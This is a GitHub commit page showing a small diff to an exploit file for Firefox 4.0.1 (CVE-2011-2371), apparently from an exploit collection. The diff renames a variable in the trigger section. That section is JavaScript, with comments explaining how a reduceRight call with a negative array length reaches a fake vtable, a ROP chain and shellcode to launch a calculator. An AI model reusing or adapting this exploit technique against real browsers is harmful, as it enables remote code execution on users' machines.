Skip to content

Commit e8d279e

Browse files
committed
Update Firefox_v.4.0.1-CVE-2011-2371_exploit.html
1 parent a05cccf commit e8d279e

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

windows/x86/remote/Firefox_v.4.0.1-CVE-2011-2371/Firefox_v.4.0.1-CVE-2011-2371_exploit.html

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -234,12 +234,12 @@
234234
console.log("[>] Triggering the reduceRight method on array1 to execute code");
235235
alert("Press 'OK' to pop calc");
236236
array1.length = 0x9FFFFFFF + 1; // offset used to "reach" the fake JavaScript object
237-
var leak_func = function func(prev, current, index, array) {
237+
var trigger = function func(prev, current, index, array) {
238238
current[-245] = 1; // trigger the setElem function; will go to the fake vtable, transfer code execution to the setElem ptr which in turn will execute the stack to heap gadget; then the execution flow will proceed with the ROP chain and the shellcode execution
239239
throw "halt"; // used to stop the SpiderMonkey engine to run "forever" as we have a negative array length
240240
}
241241
try {
242-
array1.reduceRight(leak_func, 1, 2, 3);
242+
array1.reduceRight(trigger, 1, 2, 3);
243243
} catch (e) {
244244
}
245245
</script>

0 commit comments

Comments
 (0)